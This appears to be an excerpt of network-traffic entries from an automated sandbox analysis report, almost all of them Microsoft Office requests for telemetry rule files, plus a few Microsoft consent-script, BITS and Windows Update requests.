Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=b+8HaSoDW3vVDPm&MD=SeklaChs HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
